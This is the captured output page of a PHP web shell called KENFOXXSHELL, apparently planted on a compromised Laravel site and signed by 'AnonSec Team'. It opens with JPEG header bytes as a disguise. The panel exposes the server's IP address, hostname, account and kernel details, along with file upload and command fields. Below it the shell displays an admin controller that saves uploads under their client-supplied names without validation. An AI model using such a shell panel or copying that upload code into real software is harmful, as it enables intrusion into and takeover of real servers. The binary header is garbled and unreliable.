ÿØÿàJFIFHHÿÛC     ÿÛC  ÿÂ"ÿÄÿÄÿÚ ±5¬€ÿÄàÿÚÿÄÀÿÚ?ÿÄÀÿÚ?ÿÄàÿÚ?ÿÄàÿÚ?!ÿÚ ÿÄÀÿÚ?ÿÄÀÿÚ?ÿÄàÿÚ?ÿÙ Donat Was Here
KENFOXXSHELL
Server IP : 160.25.81.117  /  Your IP : 216.73.216.137
Web Server : Apache/2
System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : bellizen ( 1045)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bellizen/public_html/app/Http/Controllers/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/bellizen/public_html/app/Http/Controllers/Admin/ProductCateController.php
<?php 
namespace App\Http\Controllers\Admin;

use App\Http\Requests;
use App\Http\Controllers\Controller;
use App\Http\Requests\ProductCateRequest;

use Illuminate\Http\Request;
use App\ProductCate;
use Input, File;
use Validator;

class ProductCateController extends Controller {

	public function getDanhSach()
    {
        $data = ProductCate::all();
    	return view('admin.productcate.list', compact('data'));
    }
    public function getAdd()
    {
        $parent = ProductCate::select('id','name','parent_id')->get()->toArray();
    	return view('admin.productcate.add', compact('parent'));
    }
    public function postAdd(ProductCateRequest $request)
    {
        $img = $request->file('fImages');
        $path_img='upload/product';
        $img_name='';
        if(!empty($img)){
            $img_name=time().'_'.$img->getClientOriginalName();
            $img->move($path_img,$img_name);
        }
    	$cate = new ProductCate;
        $cate->parent_id = $request->txtProductCate;
        $cate->name = $request->txtName;
        $cate->name_eg = $request->txtName_eg;
        $cate->alias = changeTitle($request->txtName);
        $cate->photo = $img_name;
        $cate->title = $request->txtTitle;
        $cate->keyword = $request->txtKeyword;
        $cate->description = $request->txtDescription;
        $cate->stt = $request->stt;

        if($request->status=='on'){
            $cate->status = 1;
        }else{
            $cate->status = 0;
        }
        $cate->save();
        return redirect()->route('admin.productcate.index')->with('status','Thêm mới thành công !');
    }
    public function getEdit(Request $request)
    {
        $id= $request->get('id');
        //Tìm article thông qua mã id tương ứng
        $data = ProductCate::find($id);
        if(!empty($data)){
            if($request->get('hienthi')>0){
                if($data->status == 1){
                    $data->status = 0; 
                }else{
                    $data->status = 1; 
                }
                $data->update();
                return redirect()->route('admin.productcate.index')->with('status','Cập nhật thành công !');
            }
            if($request->get('boot')>0){
                if($data->boot == 1){
                    $data->boot = 0; 
                }else{
                    $data->boot = 1; 
                }
                $data->update();
                return redirect()->route('admin.productcate.index')->with('status','Cập nhật thành công !');
            }
            $parent = ProductCate::orderBy('stt', 'asc')->get()->toArray();
           // Gá»i view edit.blade.php hiển thị bải viết
            return view('admin.productcate.edit',compact('data','parent','id'));
        }else{
            $data = ProductCate::all();
            return redirect()->route('admin.productcate.index')->with('status','Dữ liệu không có thực');
        }
    }

    public function update(Request $request)
    {
        $this->validate($request,
            ["txtName" => "required"],
            ["txtName.required" => "Bạn chưa nhập tên danh mục"]
        );
        $id=$request->get('id');
        $product_cate = ProductCate::find($id);
        if(!empty($product_cate)){
            $img = $request->file('fImages');
            $img_current = 'upload/product/'.$request->img_current;
            if(!empty($img)){
                $path_img='upload/product';
                $img_name=time().'_'.$img->getClientOriginalName();
                $img->move($path_img,$img_name);
                $product_cate->photo = $img_name;
            }
            
            if($request->txtProductCate!= $id && $request->txtProductCate>0){
                $product_cate->parent_id = $request->txtProductCate;
            }else{
                $product_cate->parent_id = 0;
            }
            $product_cate->name = $request->txtName;
            $product_cate->name_eg = $request->txtName_eg;
            $product_cate->alias = changeTitle($request->txtName);
            $product_cate->title = $request->txtTitle;
            $product_cate->keyword = $request->txtKeyword;
            $product_cate->description = $request->txtDescription;
            $product_cate->stt = $request->stt;

            if($request->status=='on'){
                $product_cate->status = 1;
            }else{
                $product_cate->status = 0;
            }

            $product_cate->save();

            return redirect('admin/productcate/edit?id='.$id)->with('status','Cập nhật thành công');
        }else{
            return redirect('admin/productcate/')->with('status','Dữ liệu không có thực');
        }
    }
    public function getDelete($id)
    {
        $product = ProductCate::findOrFail($id);
        $product->delete();
        return redirect()->route('admin.productcate.index');
    }
    public function getDeleteList($id){
        $listid = explode(",",$id);
        foreach($listid as $listid_item){
            $product = ProductCate::findOrFail($listid_item);
            $product->delete();
            //File::delete('upload/product/'.$product->photo);
        }
        return redirect()->route('admin.productcate.index');
    }
}

Anon7 - 2022
AnonSec Team